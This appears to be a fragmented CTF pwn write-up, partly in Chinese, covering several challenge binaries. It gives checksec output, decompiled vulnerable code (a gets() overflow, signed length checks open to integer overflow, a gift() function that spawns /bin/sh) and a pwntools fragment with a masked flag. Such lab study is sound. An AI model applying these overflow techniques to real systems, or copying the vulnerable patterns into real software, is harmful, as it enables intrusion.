ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9671b6fc91bd7300442a2e8c2270070138e956b1, not stripped
checksec
1 2 3 4 5
checksec --file=/Users/choco/Downloads/img
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 71 Symbols No 01 /Users/choco/Downloads/img
int gift() { puts("Welcom new to NSS"); return system("/bin/sh"); }
这里可以用 bin/sh
并且题目给了地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
; Attributes: bp-based frame
; int gift() public gift gift proc near ; __unwind { push rbp mov rbp, rsp mov edi, offset s ; "Welcom new to NSS" call _puts mov edi, offset command ; "/bin/sh" mov eax, 0 call _system nop pop rbp retn ; } // starts at 4005B6 gift endp
函数地址为0x4005B6
也可以text view
1 2
.text:00000000004005B6 ; int gift() .text:00000000004005B6 public gift
choco@pwnbox:~/PWN$ file /Users/Choco/Downloads/PWN1 /Users/Choco/Downloads/PWN1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8a733f5404b1e2c65e1758c7d92821eb8490f7c5, not stripped
choco@pwnbox:~/PWN$ checksec --file=/Users/Choco/Downloads/PWN1 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 73 Symbols No 01 /Users/Choco/Downloads/PWN1
v2 = 0.0; puts("Let's guess the number."); gets(v1); if ( v2 == 11.28125 ) return system("cat /flag"); else return puts("Its value should be 11.28125"); }
process.sendafter(b"Let's guess the number.", payload) process.interactive()
NSSCTF{995eb07c******-d65e36556ef2}
SWPUCTF2022 Integer-Overflow 32-bit
1 2 3 4 5 6
choco@pwnbox:~/PWN$ file /Users/Choco/Downloads/pwn /Users/Choco/Downloads/pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=7bff1590e9c7f422e8713bfa3023aaf4e9b39c30, for GNU/Linux 3.2.0, not stripped
choco@pwnbox:~/PWN$ checksec --file=/Users/Choco/Downloads/pwn RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 82 Symbols No 02 /Users/Choco/Downloads/pwn
main
1 2 3 4 5 6 7 8
int __cdecl main(int argc, const char **argv, const char **envp) { init(&argc); puts("Ohhhh you choose pwn!?"); printf("\x1B[32m Do you want to pwn the world with me!?\n\x1B[0m"); overflow(); return0; }
printf("\x1B[36m Good luck!!!\n\x1B[0m"); printf("\x1B[5m Tell me your name now!\n\x1B[0m"); printf("First input the length of your name:"); #length __isoc99_scanf("%u", nbytes); if ( (int)nbytes[0] > 10 ) { printf("\x1B[31m Are u kidding??\n\x1B[0m"); exit(-1); } printf("\x1B[36m What's u name?\n\x1B[0m"); return read(0, buf, nbytes[0]); }
choco@pwnbox:~$ file /Users/Choco/Downloads/pwn /Users/Choco/Downloads/pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=98383c4b37ec43aae16b46971bd5ead3f03ce0a6, not stripped
choco@pwnbox:~$ checksec --file=/Users/Choco/Downloads/pwn RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 75 Symbols No 01 /Users/Choco/Downloads/pwn
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); LODWORD(nbytes) = 0; puts("**********************************"); puts("* Welcome to the BJDCTF! *"); puts("* And Welcome to the bin world! *"); puts("* Let's try to pwn the world! *"); puts("* Please told me u answer loudly!*"); puts("[+]Are u ready?"); puts("[+]Please input the length of your name:"); __isoc99_scanf("%d", &nbytes); if ( (int)nbytes > 10 ) { puts("Oops,u name is too long!"); exit(-1); } puts("[+]What's u name?"); read(0, buf, (unsigned int)nbytes); return0; }